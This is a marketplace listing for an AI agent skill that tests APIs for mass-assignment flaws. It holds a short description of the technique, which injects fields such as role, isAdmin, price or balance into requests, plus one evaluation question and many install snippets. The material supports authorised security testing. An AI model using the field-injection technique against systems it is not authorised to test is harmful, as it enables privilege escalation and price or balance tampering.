Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Tests APIs for mass assignment (auto-binding) vulnerabilities where clients can modify object properties they should not have access to by including additional parameters in API requests. The tester identifies writable endpoints, adds undocumented fields to request bodies (role, isAdmin, price, balance), and checks if the server binds these to the data model without filtering. Part of OWASP API3:2023 Broken Object Property Level Authorization. Activates for requests involving mass assignment tes
SkillScore98/100
Test results 100 · Live runs 96
3/3 safety checks passed
91%100%of test cases passed +9 pts
Passed 23 of 23 test cases with the skill, and 21 of 23 without it.
2 fixed21 passed either way0 still failing0 broke
One test taskWhen authoring a security evaluation report for a confirmed property binding flaw, which report section must contain the step-by-step HTTP request and response evidence demonstrating successful exploitation?
Adds every file the skill has, pinned so you can update it. No account needed.
pip install "decimalai>=0.15"
decimalai skills add mukul975-testing-api-for-mass-assignment-vulnerability
claude --plugin-dir "$(git rev-parse --show-toplevel 2>/dev/null || pwd)/.agents"The same install from Python, for a notebook or a setup script.
pip install "decimalai>=0.15"from decimalai import skillpkg
# Writes .agents/skills and .decimal/skills.toml. Safe to run twice.
result = skillpkg.add("mukul975-testing-api-for-mass-assignment-vulnerability")
if result.exit_code:
raise SystemExit(result.problems)
print("Added. Start Claude Code with the command below.")claude --plugin-dir "$(git rev-parse --show-toplevel 2>/dev/null || pwd)/.agents"Type these in a Claude Code session. No account or API key. It writes the skill and any files it bundles, and asks first when its safety rating isn't Passed.
/plugin marketplace add decimal-labs/decimalai-claude-plugins
/plugin install decimalai@decimalai/decimalai:install mukul975-testing-api-for-mass-assignment-vulnerabilityThe plugin needs python3 and curl on your machine.
No Python or account. Claude Code picks it up in its next session.
curl -fsSL --create-dirs -o .claude/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md https://app.decimal.ai/s/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md.claude/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.mdThis gets SKILL.md only. The skill's 2 other files are not included.
agent_config() hands your agent the skill. With no DecimalAI key it reads your project's files and sends nothing. Needs SDK 0.27 or newer.
pip install "decimalai[claude-agent-sdk]"
decimalai skills add mukul975-testing-api-for-mass-assignment-vulnerabilityimport asyncio
from claude_agent_sdk import ClaudeAgentOptions
from decimalai.claude_agent_sdk import agent_config
# With no DECIMAL_API_KEY this reads the skills your project lists, from disk.
support = agent_config("support", fallback="You are a helpful agent.")
async def main():
question = "Hello!"
async with support.run(question) as run: # one user message, one run
async for message in run.query(options=ClaudeAgentOptions(max_turns=6)):
print(message)
# In a notebook or async code: await main()
asyncio.run(main())Prefer its own loader? ClaudeAgentOptions(plugins=[skills_plugin()], skills="all") reads the same folder. Use one or the other: a skill delivered both ways reaches the prompt twice.
The same install from Python, for a notebook or a setup script. agent_config() hands your agent the skill. With no DecimalAI key it reads your project's files and sends nothing. Needs SDK 0.27 or newer.
pip install "decimalai[claude-agent-sdk]"from decimalai import skillpkg
# Writes .agents/skills and .decimal/skills.toml. Safe to run twice.
result = skillpkg.add("mukul975-testing-api-for-mass-assignment-vulnerability")
if result.exit_code:
raise SystemExit(result.problems)
import asyncio
from claude_agent_sdk import ClaudeAgentOptions
from decimalai.claude_agent_sdk import agent_config
# With no DECIMAL_API_KEY this reads the skills your project lists, from disk.
support = agent_config("support", fallback="You are a helpful agent.")
async def main():
question = "Hello!"
async with support.run(question) as run: # one user message, one run
async for message in run.query(options=ClaudeAgentOptions(max_turns=6)):
print(message)
# In a notebook or async code: await main()
asyncio.run(main())Prefer its own loader? ClaudeAgentOptions(plugins=[skills_plugin()], skills="all") reads the same folder. Use one or the other: a skill delivered both ways reaches the prompt twice.
No DecimalAI package. The whole skill goes in every prompt, and nothing pins or updates it.
.agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.mdimport asyncio
from pathlib import Path
from claude_agent_sdk import ClaudeAgentOptions, query
skill = Path(".agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md").read_text()
options = ClaudeAgentOptions(system_prompt=f"You are a helpful agent.\n\n{skill}", max_turns=6)
async def main():
async for message in query(prompt="Hello!", options=options):
print(message)
# In a notebook or async code: await main()
asyncio.run(main())This gets SKILL.md only. The skill's 2 other files are not included.
agent_config() hands your agent the skill. With no DecimalAI key it reads your project's files and sends nothing. Needs SDK 0.27 or newer.
pip install "decimalai[openai-agents]"
decimalai skills add mukul975-testing-api-for-mass-assignment-vulnerabilityfrom agents import Agent, Runner
from decimalai.openai_agents import agent_config
# With no DECIMAL_API_KEY this reads the skills your project lists, from disk.
support = agent_config("support", fallback="You are a helpful agent.")
agent = Agent(
name=support.name,
instructions=support.instructions, # your prompt, then the skill list
tools=[*support.tools], # your tools, then load_skill
)
# In a notebook or async code: result = await Runner.run(agent, "Hello!")
result = Runner.run_sync(agent, "Hello!")Using SandboxAgent? capabilities=[Shell(), decimalai.openai_agents.sandbox_skills()] points its own loader at the same folder.
The same install from Python, for a notebook or a setup script. agent_config() hands your agent the skill. With no DecimalAI key it reads your project's files and sends nothing. Needs SDK 0.27 or newer.
pip install "decimalai[openai-agents]"from decimalai import skillpkg
# Writes .agents/skills and .decimal/skills.toml. Safe to run twice.
result = skillpkg.add("mukul975-testing-api-for-mass-assignment-vulnerability")
if result.exit_code:
raise SystemExit(result.problems)
from agents import Agent, Runner
from decimalai.openai_agents import agent_config
# With no DECIMAL_API_KEY this reads the skills your project lists, from disk.
support = agent_config("support", fallback="You are a helpful agent.")
agent = Agent(
name=support.name,
instructions=support.instructions, # your prompt, then the skill list
tools=[*support.tools], # your tools, then load_skill
)
# In a notebook or async code: result = await Runner.run(agent, "Hello!")
result = Runner.run_sync(agent, "Hello!")Using SandboxAgent? capabilities=[Shell(), decimalai.openai_agents.sandbox_skills()] points its own loader at the same folder.
No DecimalAI package. The whole skill goes in every prompt, and nothing pins or updates it.
.agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.mdfrom pathlib import Path
from agents import Agent, Runner
skill = Path(".agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md").read_text()
agent = Agent(name="support", instructions=f"You are a helpful agent.\n\n{skill}")
# In a notebook or async code: result = await Runner.run(agent, "Hello!")
result = Runner.run_sync(agent, "Hello!")This gets SKILL.md only. The skill's 2 other files are not included.
agent_config() hands your agent the skill. With no DecimalAI key it reads your project's files and sends nothing. Needs SDK 0.27 or newer.
pip install "decimalai[openai]"
decimalai skills add mukul975-testing-api-for-mass-assignment-vulnerabilityimport json
from openai import OpenAI
from decimalai.openai import agent_config
client = OpenAI()
# With no DECIMAL_API_KEY this reads the skills your project lists, from disk.
support = agent_config("support", fallback="You are a helpful agent.")
def lookup_order(order_id: str) -> str:
return f"Order {order_id} shipped yesterday."
# Your tools, as Chat Completions takes them, and what answers each.
TOOLS = [{"type": "function", "function": {
"name": "lookup_order",
"description": "Look up the status of an order.",
"parameters": {"type": "object", "properties": {"order_id": {"type": "string"}},
"required": ["order_id"]},
}}]
FUNCTIONS = {"lookup_order": lookup_order}
question = "Where is order A1001?"
with support.run(question) as run: # one user message, one run
# run.system is your prompt, then the skill list.
messages = [{"role": "system", "content": run.system}, run.message]
while True:
reply = client.chat.completions.create(
model="gpt-5.4-mini",
messages=messages,
tools=[*TOOLS, *run.tools], # your tools, then load_skill
).choices[0].message
messages.append(reply)
if not reply.tool_calls:
break
for call in reply.tool_calls:
# load_skill is answered by the run; your own tools by FUNCTIONS.
function = FUNCTIONS.get(call.function.name)
messages.append(run.tool_result(call) or {
"role": "tool", "tool_call_id": call.id,
"content": function(**json.loads(call.function.arguments)) if function
else f"There is no tool named {call.function.name!r}.",
})
print(reply.content)
# The Responses API takes run.response_tools instead of run.tools.The same install from Python, for a notebook or a setup script. agent_config() hands your agent the skill. With no DecimalAI key it reads your project's files and sends nothing. Needs SDK 0.27 or newer.
pip install "decimalai[openai]"from decimalai import skillpkg
# Writes .agents/skills and .decimal/skills.toml. Safe to run twice.
result = skillpkg.add("mukul975-testing-api-for-mass-assignment-vulnerability")
if result.exit_code:
raise SystemExit(result.problems)
import json
from openai import OpenAI
from decimalai.openai import agent_config
client = OpenAI()
# With no DECIMAL_API_KEY this reads the skills your project lists, from disk.
support = agent_config("support", fallback="You are a helpful agent.")
def lookup_order(order_id: str) -> str:
return f"Order {order_id} shipped yesterday."
# Your tools, as Chat Completions takes them, and what answers each.
TOOLS = [{"type": "function", "function": {
"name": "lookup_order",
"description": "Look up the status of an order.",
"parameters": {"type": "object", "properties": {"order_id": {"type": "string"}},
"required": ["order_id"]},
}}]
FUNCTIONS = {"lookup_order": lookup_order}
question = "Where is order A1001?"
with support.run(question) as run: # one user message, one run
# run.system is your prompt, then the skill list.
messages = [{"role": "system", "content": run.system}, run.message]
while True:
reply = client.chat.completions.create(
model="gpt-5.4-mini",
messages=messages,
tools=[*TOOLS, *run.tools], # your tools, then load_skill
).choices[0].message
messages.append(reply)
if not reply.tool_calls:
break
for call in reply.tool_calls:
# load_skill is answered by the run; your own tools by FUNCTIONS.
function = FUNCTIONS.get(call.function.name)
messages.append(run.tool_result(call) or {
"role": "tool", "tool_call_id": call.id,
"content": function(**json.loads(call.function.arguments)) if function
else f"There is no tool named {call.function.name!r}.",
})
print(reply.content)
# The Responses API takes run.response_tools instead of run.tools.No DecimalAI package. The whole skill goes in every prompt, and nothing pins or updates it.
.agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.mdfrom pathlib import Path
from openai import OpenAI
client = OpenAI()
skill = Path(".agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md").read_text()
reply = client.chat.completions.create(
model="gpt-5.4-mini",
messages=[
{"role": "system", "content": f"You are a helpful agent.\n\n{skill}"},
{"role": "user", "content": "Hello!"},
],
).choices[0].messageThis gets SKILL.md only. The skill's 2 other files are not included.
agent_config() hands your agent the skill. With no DecimalAI key it reads your project's files and sends nothing. Needs SDK 0.27 or newer.
pip install "decimalai[anthropic]"
decimalai skills add mukul975-testing-api-for-mass-assignment-vulnerabilityimport anthropic
from decimalai.anthropic import agent_config
client = anthropic.Anthropic()
# With no DECIMAL_API_KEY this reads the skills your project lists, from disk.
support = agent_config("support", fallback="You are a helpful agent.")
question = "Hello!"
with support.run(question) as run: # one user message, one run
answer = client.beta.messages.tool_runner(
model="claude-haiku-5-5",
max_tokens=4096,
system=run.system, # your prompt, then the skill list
tools=[*run.tools], # your tools, then load_skill
messages=[{"role": "user", "content": question}],
).until_done()The same install from Python, for a notebook or a setup script. agent_config() hands your agent the skill. With no DecimalAI key it reads your project's files and sends nothing. Needs SDK 0.27 or newer.
pip install "decimalai[anthropic]"from decimalai import skillpkg
# Writes .agents/skills and .decimal/skills.toml. Safe to run twice.
result = skillpkg.add("mukul975-testing-api-for-mass-assignment-vulnerability")
if result.exit_code:
raise SystemExit(result.problems)
import anthropic
from decimalai.anthropic import agent_config
client = anthropic.Anthropic()
# With no DECIMAL_API_KEY this reads the skills your project lists, from disk.
support = agent_config("support", fallback="You are a helpful agent.")
question = "Hello!"
with support.run(question) as run: # one user message, one run
answer = client.beta.messages.tool_runner(
model="claude-haiku-5-5",
max_tokens=4096,
system=run.system, # your prompt, then the skill list
tools=[*run.tools], # your tools, then load_skill
messages=[{"role": "user", "content": question}],
).until_done()No DecimalAI package. The whole skill goes in every prompt, and nothing pins or updates it.
.agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.mdfrom pathlib import Path
import anthropic
client = anthropic.Anthropic()
skill = Path(".agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md").read_text()
reply = client.messages.create(
model="claude-haiku-5-5",
max_tokens=4096,
system=f"You are a helpful agent.\n\n{skill}",
messages=[{"role": "user", "content": "Hello!"}],
)This gets SKILL.md only. The skill's 2 other files are not included.
agent_config() hands your agent the skill. With no DecimalAI key it reads your project's files and sends nothing. Needs SDK 0.27 or newer.
pip install "decimalai[google-genai]"
decimalai skills add mukul975-testing-api-for-mass-assignment-vulnerabilityfrom google import genai
from google.genai import types
from decimalai.google_genai import agent_config
client = genai.Client()
# With no DECIMAL_API_KEY this reads the skills your project lists, from disk.
support = agent_config("support", fallback="You are a helpful agent.")
def lookup_order(order_id: str) -> str:
return f"Order {order_id} shipped yesterday."
# Your functions, as declarations for the model, and what answers each.
TOOLS = [{"function_declarations": [{
"name": "lookup_order",
"description": "Look up the status of an order.",
"parameters_json_schema": {"type": "object", "properties": {"order_id": {"type": "string"}},
"required": ["order_id"]},
}]}]
FUNCTIONS = {"lookup_order": lookup_order}
question = "Where is order A1001?"
with support.run(question) as run: # one user message, one run
config = types.GenerateContentConfig(
system_instruction=run.system, # your prompt, then the skill list
tools=[*TOOLS, *run.tool_params], # your functions, then load_skill
)
contents = [{"role": "user", "parts": [{"text": run.message}]}]
while True:
response = client.models.generate_content(
model="gemini-3.5-flash", contents=contents, config=config,
)
if not response.function_calls:
break
contents.append(response.candidates[0].content)
parts = []
for call in response.function_calls:
# load_skill is answered by the run; your own functions by FUNCTIONS.
# A loop of your own rather than automatic function calling, which
# raises KeyError when the model asks for a function you did not pass.
function = FUNCTIONS.get(call.name)
parts.append(run.tool_result(call) or {"function_response": {
"name": call.name, "id": call.id,
"response": {"result": function(**(call.args or {})) if function
else f"There is no function named {call.name!r}."},
}})
contents.append({"role": "user", "parts": parts})
print(response.text)The same install from Python, for a notebook or a setup script. agent_config() hands your agent the skill. With no DecimalAI key it reads your project's files and sends nothing. Needs SDK 0.27 or newer.
pip install "decimalai[google-genai]"from decimalai import skillpkg
# Writes .agents/skills and .decimal/skills.toml. Safe to run twice.
result = skillpkg.add("mukul975-testing-api-for-mass-assignment-vulnerability")
if result.exit_code:
raise SystemExit(result.problems)
from google import genai
from google.genai import types
from decimalai.google_genai import agent_config
client = genai.Client()
# With no DECIMAL_API_KEY this reads the skills your project lists, from disk.
support = agent_config("support", fallback="You are a helpful agent.")
def lookup_order(order_id: str) -> str:
return f"Order {order_id} shipped yesterday."
# Your functions, as declarations for the model, and what answers each.
TOOLS = [{"function_declarations": [{
"name": "lookup_order",
"description": "Look up the status of an order.",
"parameters_json_schema": {"type": "object", "properties": {"order_id": {"type": "string"}},
"required": ["order_id"]},
}]}]
FUNCTIONS = {"lookup_order": lookup_order}
question = "Where is order A1001?"
with support.run(question) as run: # one user message, one run
config = types.GenerateContentConfig(
system_instruction=run.system, # your prompt, then the skill list
tools=[*TOOLS, *run.tool_params], # your functions, then load_skill
)
contents = [{"role": "user", "parts": [{"text": run.message}]}]
while True:
response = client.models.generate_content(
model="gemini-3.5-flash", contents=contents, config=config,
)
if not response.function_calls:
break
contents.append(response.candidates[0].content)
parts = []
for call in response.function_calls:
# load_skill is answered by the run; your own functions by FUNCTIONS.
# A loop of your own rather than automatic function calling, which
# raises KeyError when the model asks for a function you did not pass.
function = FUNCTIONS.get(call.name)
parts.append(run.tool_result(call) or {"function_response": {
"name": call.name, "id": call.id,
"response": {"result": function(**(call.args or {})) if function
else f"There is no function named {call.name!r}."},
}})
contents.append({"role": "user", "parts": parts})
print(response.text)No DecimalAI package. The whole skill goes in every prompt, and nothing pins or updates it.
.agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.mdfrom pathlib import Path
from google import genai
from google.genai import types
client = genai.Client()
skill = Path(".agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md").read_text()
response = client.models.generate_content(
model="gemini-3.5-flash",
contents="Hello!",
config=types.GenerateContentConfig(system_instruction=f"You are a helpful agent.\n\n{skill}"),
)This gets SKILL.md only. The skill's 2 other files are not included.
agent_config() hands your agent the skill. With no DecimalAI key it reads your project's files and sends nothing. Needs SDK 0.27 or newer.
pip install "decimalai[langchain]" langchain-openai
decimalai skills add mukul975-testing-api-for-mass-assignment-vulnerabilityfrom langchain.agents import create_agent
from decimalai.langchain import agent_config
# With no DECIMAL_API_KEY this reads the skills your project lists, from disk.
support = agent_config("support", fallback="You are a helpful agent.")
agent = create_agent(
"openai:gpt-5.4-mini",
tools=[], # your tools; the middleware adds load_skill
middleware=[support.middleware], # your prompt, the skill list and load_skill
)
result = agent.invoke({"messages": [{"role": "user", "content": "Hello!"}]})The same install from Python, for a notebook or a setup script. agent_config() hands your agent the skill. With no DecimalAI key it reads your project's files and sends nothing. Needs SDK 0.27 or newer.
pip install "decimalai[langchain]" langchain-openaifrom decimalai import skillpkg
# Writes .agents/skills and .decimal/skills.toml. Safe to run twice.
result = skillpkg.add("mukul975-testing-api-for-mass-assignment-vulnerability")
if result.exit_code:
raise SystemExit(result.problems)
from langchain.agents import create_agent
from decimalai.langchain import agent_config
# With no DECIMAL_API_KEY this reads the skills your project lists, from disk.
support = agent_config("support", fallback="You are a helpful agent.")
agent = create_agent(
"openai:gpt-5.4-mini",
tools=[], # your tools; the middleware adds load_skill
middleware=[support.middleware], # your prompt, the skill list and load_skill
)
result = agent.invoke({"messages": [{"role": "user", "content": "Hello!"}]})No DecimalAI package. The whole skill goes in every prompt, and nothing pins or updates it.
.agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.mdfrom pathlib import Path
from langchain.agents import create_agent
skill = Path(".agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md").read_text()
agent = create_agent("openai:gpt-5.4-mini", tools=[], system_prompt=f"You are a helpful agent.\n\n{skill}")
result = agent.invoke({"messages": [{"role": "user", "content": "Hello!"}]})This gets SKILL.md only. The skill's 2 other files are not included.
CrewAI's own skill loader reads the installed folder. No DecimalAI account needed.
pip install "decimalai>=0.16" "crewai>=1.15.27"
decimalai skills add mukul975-testing-api-for-mass-assignment-vulnerabilityimport decimalai.crewai
from crewai import Agent, Crew, Task
agent = Agent(
role="Support", goal="Help the customer", backstory="A support agent.",
llm=llm, # your own CrewAI LLM
skills=decimalai.crewai.skills(), # the installed folder
tools=decimalai.crewai.skill_tools(), # reads a skill's files, runs its scripts
)
task = Task(description="Hello!", expected_output="an answer", agent=agent)
Crew(agents=[agent], tasks=[task]).kickoff()The same install from Python, for a notebook or a setup script. CrewAI's own skill loader reads the installed folder. No DecimalAI account needed.
pip install "decimalai>=0.16" "crewai>=1.15.27"from decimalai import skillpkg
# Writes .agents/skills and .decimal/skills.toml. Safe to run twice.
result = skillpkg.add("mukul975-testing-api-for-mass-assignment-vulnerability")
if result.exit_code:
raise SystemExit(result.problems)
import decimalai.crewai
from crewai import Agent, Crew, Task
agent = Agent(
role="Support", goal="Help the customer", backstory="A support agent.",
llm=llm, # your own CrewAI LLM
skills=decimalai.crewai.skills(), # the installed folder
tools=decimalai.crewai.skill_tools(), # reads a skill's files, runs its scripts
)
task = Task(description="Hello!", expected_output="an answer", agent=agent)
Crew(agents=[agent], tasks=[task]).kickoff()No DecimalAI package. CrewAI's own loader reads the folder, and nothing pins or updates it.
.agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.mdfrom pathlib import Path
from crewai import Agent, Crew, Task
agent = Agent(
role="Support", goal="Help the customer", backstory="A support agent.",
llm=llm, # your own CrewAI LLM
skills=[Path(".agents/skills")],
)
task = Task(description="Hello!", expected_output="an answer", agent=agent)
Crew(agents=[agent], tasks=[task]).kickoff()This gets SKILL.md only. The skill's 2 other files are not included.
agent_config() hands your agent the skill. With no DecimalAI key it reads your project's files and sends nothing. Needs SDK 0.27 or newer.
pip install "decimalai[adk]"
decimalai skills add mukul975-testing-api-for-mass-assignment-vulnerabilityfrom decimalai.adk import DecimalAIPlugin, agent_config
from google.adk.agents import LlmAgent
from google.adk.apps import App
# With no DECIMAL_API_KEY this reads the skills your project lists, from disk.
support = agent_config("support", fallback="You are a helpful agent.")
agent = LlmAgent(
name="support", # ADK needs a Python identifier
model="gemini-3.5-flash",
instruction=support.instruction, # your prompt, then the skill list
tools=[*support.tools], # your tools, then load_skill
)
# DecimalAIPlugin makes each invocation of runners built from this App one trace.
app = App(name="support", root_agent=agent, plugins=[DecimalAIPlugin()])Prefer ADK's own loader? SkillToolset(skills=decimalai.adk.skills(), ...) reads the same folder. Use one or the other: a skill delivered both ways reaches the prompt twice.
The same install from Python, for a notebook or a setup script. agent_config() hands your agent the skill. With no DecimalAI key it reads your project's files and sends nothing. Needs SDK 0.27 or newer.
pip install "decimalai[adk]"from decimalai import skillpkg
# Writes .agents/skills and .decimal/skills.toml. Safe to run twice.
result = skillpkg.add("mukul975-testing-api-for-mass-assignment-vulnerability")
if result.exit_code:
raise SystemExit(result.problems)
from decimalai.adk import DecimalAIPlugin, agent_config
from google.adk.agents import LlmAgent
from google.adk.apps import App
# With no DECIMAL_API_KEY this reads the skills your project lists, from disk.
support = agent_config("support", fallback="You are a helpful agent.")
agent = LlmAgent(
name="support", # ADK needs a Python identifier
model="gemini-3.5-flash",
instruction=support.instruction, # your prompt, then the skill list
tools=[*support.tools], # your tools, then load_skill
)
# DecimalAIPlugin makes each invocation of runners built from this App one trace.
app = App(name="support", root_agent=agent, plugins=[DecimalAIPlugin()])Prefer ADK's own loader? SkillToolset(skills=decimalai.adk.skills(), ...) reads the same folder. Use one or the other: a skill delivered both ways reaches the prompt twice.
No DecimalAI package. The whole skill goes in every prompt, and nothing pins or updates it.
.agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.mdfrom pathlib import Path
from google.adk.agents import LlmAgent
skill = Path(".agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md").read_text()
agent = LlmAgent(
name="support",
model="gemini-3.5-flash",
instruction=lambda context: f"You are a helpful agent.\n\n{skill}",
)This gets SKILL.md only. The skill's 2 other files are not included.
agent_config() hands your agent the skill. With no DecimalAI key it reads your project's files and sends nothing. Needs SDK 0.27 or newer.
pip install "decimalai[pydantic-ai]"
decimalai skills add mukul975-testing-api-for-mass-assignment-vulnerabilityfrom pydantic_ai import Agent
from decimalai.pydantic_ai import agent_config
# With no DECIMAL_API_KEY this reads the skills your project lists, from disk.
support = agent_config("support", fallback="You are a helpful agent.")
agent = Agent(
"openai:gpt-4o-mini",
name=support.name,
tools=[], # your tools; the capability adds load_skill
capabilities=[support], # your prompt, the skill list and load_skill
)
# In a notebook or async code: result = await agent.run("Hello!")
result = agent.run_sync("Hello!")On the Pydantic AI harness, decimalai.pydantic_ai_harness.skills(project) uses its own loader instead.
The same install from Python, for a notebook or a setup script. agent_config() hands your agent the skill. With no DecimalAI key it reads your project's files and sends nothing. Needs SDK 0.27 or newer.
pip install "decimalai[pydantic-ai]"from decimalai import skillpkg
# Writes .agents/skills and .decimal/skills.toml. Safe to run twice.
result = skillpkg.add("mukul975-testing-api-for-mass-assignment-vulnerability")
if result.exit_code:
raise SystemExit(result.problems)
from pydantic_ai import Agent
from decimalai.pydantic_ai import agent_config
# With no DECIMAL_API_KEY this reads the skills your project lists, from disk.
support = agent_config("support", fallback="You are a helpful agent.")
agent = Agent(
"openai:gpt-4o-mini",
name=support.name,
tools=[], # your tools; the capability adds load_skill
capabilities=[support], # your prompt, the skill list and load_skill
)
# In a notebook or async code: result = await agent.run("Hello!")
result = agent.run_sync("Hello!")On the Pydantic AI harness, decimalai.pydantic_ai_harness.skills(project) uses its own loader instead.
No DecimalAI package. The whole skill goes in every prompt, and nothing pins or updates it.
.agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.mdfrom pathlib import Path
from pydantic_ai import Agent
skill = Path(".agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md").read_text()
agent = Agent("openai:gpt-4o-mini", instructions=f"You are a helpful agent.\n\n{skill}")
# In a notebook or async code: result = await agent.run("Hello!")
result = agent.run_sync("Hello!")This gets SKILL.md only. The skill's 2 other files are not included.
Deep Agents' own skill loader reads the installed folder. No DecimalAI account needed.
pip install "decimalai>=0.16" deepagents
decimalai skills add mukul975-testing-api-for-mass-assignment-vulnerabilityimport decimalai.deepagents
from deepagents import create_deep_agent
agent = create_deep_agent(model=model, **decimalai.deepagents.skills())
agent.invoke({"messages": [{"role": "user", "content": "Hello!"}]})The default backend reads files but has no shell. To run a skill's scripts, pass skills(backend=LocalShellBackend(...)).
The same install from Python, for a notebook or a setup script. Deep Agents' own skill loader reads the installed folder. No DecimalAI account needed.
pip install "decimalai>=0.16" deepagentsfrom decimalai import skillpkg
# Writes .agents/skills and .decimal/skills.toml. Safe to run twice.
result = skillpkg.add("mukul975-testing-api-for-mass-assignment-vulnerability")
if result.exit_code:
raise SystemExit(result.problems)
import decimalai.deepagents
from deepagents import create_deep_agent
agent = create_deep_agent(model=model, **decimalai.deepagents.skills())
agent.invoke({"messages": [{"role": "user", "content": "Hello!"}]})The default backend reads files but has no shell. To run a skill's scripts, pass skills(backend=LocalShellBackend(...)).
No DecimalAI package. The whole skill goes in every prompt, and nothing pins or updates it.
.agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.mdfrom pathlib import Path
from deepagents import create_deep_agent
skill = Path(".agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md").read_text()
agent = create_deep_agent(model=model, system_prompt=f"You are a helpful agent.\n\n{skill}")
agent.invoke({"messages": [{"role": "user", "content": "Hello!"}]})This gets SKILL.md only. The skill's 2 other files are not included.
Its own skill loader reads the installed folder. No DecimalAI account needed.
pip install "decimalai>=0.16" agent-framework
decimalai skills add mukul975-testing-api-for-mass-assignment-vulnerabilityimport asyncio
from agent_framework import Agent
from decimalai.agent_framework import skills
agent = Agent(client=client, instructions="You are a helpful agent.", context_providers=[skills()])
asyncio.run(agent.run("Hello!"))It caches skills by default, so restart the process after decimalai skills update.
The same install from Python, for a notebook or a setup script. Its own skill loader reads the installed folder. No DecimalAI account needed.
pip install "decimalai>=0.16" agent-frameworkfrom decimalai import skillpkg
# Writes .agents/skills and .decimal/skills.toml. Safe to run twice.
result = skillpkg.add("mukul975-testing-api-for-mass-assignment-vulnerability")
if result.exit_code:
raise SystemExit(result.problems)
import asyncio
from agent_framework import Agent
from decimalai.agent_framework import skills
agent = Agent(client=client, instructions="You are a helpful agent.", context_providers=[skills()])
asyncio.run(agent.run("Hello!"))It caches skills by default, so restart the process after decimalai skills update.
No DecimalAI package. The whole skill goes in every prompt, and nothing pins or updates it.
.agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.mdimport asyncio
from pathlib import Path
from agent_framework import Agent
skill = Path(".agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md").read_text()
agent = Agent(client=client, instructions=f"You are a helpful agent.\n\n{skill}")
asyncio.run(agent.run("Hello!"))This gets SKILL.md only. The skill's 2 other files are not included.
Strands' own skill loader reads the installed folder. No DecimalAI account needed.
pip install "decimalai>=0.16" strands-agents
decimalai skills add mukul975-testing-api-for-mass-assignment-vulnerabilityfrom decimalai.strands import skills
from strands import Agent
from strands.vended_tools import file_editor, shell
agent = Agent(
model=model, # always pass one: the default is Amazon Bedrock
system_prompt="You are a helpful agent.",
tools=[file_editor, shell],
plugins=[skills()],
)
agent("Hello!")Strands loads an agent's skills once, so build the agent again after decimalai skills update.
The same install from Python, for a notebook or a setup script. Strands' own skill loader reads the installed folder. No DecimalAI account needed.
pip install "decimalai>=0.16" strands-agentsfrom decimalai import skillpkg
# Writes .agents/skills and .decimal/skills.toml. Safe to run twice.
result = skillpkg.add("mukul975-testing-api-for-mass-assignment-vulnerability")
if result.exit_code:
raise SystemExit(result.problems)
from decimalai.strands import skills
from strands import Agent
from strands.vended_tools import file_editor, shell
agent = Agent(
model=model, # always pass one: the default is Amazon Bedrock
system_prompt="You are a helpful agent.",
tools=[file_editor, shell],
plugins=[skills()],
)
agent("Hello!")Strands loads an agent's skills once, so build the agent again after decimalai skills update.
No DecimalAI package. The whole skill goes in every prompt, and nothing pins or updates it.
.agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.mdfrom pathlib import Path
from strands import Agent
skill = Path(".agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md").read_text()
agent = Agent(model=model, system_prompt=f"You are a helpful agent.\n\n{skill}")
agent("Hello!")This gets SKILL.md only. The skill's 2 other files are not included.
Adds every file the skill has, pinned so you can update it. Cursor, Copilot, Cline and Warp read this folder by themselves.
pip install "decimalai>=0.15"
decimalai skills add mukul975-testing-api-for-mass-assignment-vulnerabilityNo Python or account. Cursor, Copilot, Cline and Warp read this folder by themselves.
curl -fsSL --create-dirs -o .agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md https://app.decimal.ai/s/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md.agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.mdThis gets SKILL.md only. The skill's 2 other files are not included.
Give its text to your model as instructions. No account or package needed.
This gets SKILL.md only. The skill's 2 other files are not included.
Raw files: /s/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md · /s/mukul975-testing-api-for-mass-assignment-vulnerability.json
Fetch the file and give its text to your model as instructions. No account or package needed.
curl -fsSL https://app.decimal.ai/s/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.mdcurl -fsSL https://app.decimal.ai/s/mukul975-testing-api-for-mass-assignment-vulnerability.jsonThis gets SKILL.md only. The skill's 2 other files are not included.
You don't need a DecimalAI account.
Saved prompts and skills, pinned versions, and traces of this skill in your runs. DecimalAI does not run your agent.
Claude Code reads files from your project, so DecimalAI config does not apply there.
On Claude Agent SDK: save the skill to an agent here, set DECIMAL_API_KEY, and the same code uses it with no command to run. Changes you save reach the next run with no redeploy.
On OpenAI Agents: save the skill to an agent here, set DECIMAL_API_KEY, and the same code uses it with no command to run. Changes you save reach the next run with no redeploy.
On OpenAI SDK: save the skill to an agent here, set DECIMAL_API_KEY, and the same code uses it with no command to run. Changes you save reach the next run with no redeploy.
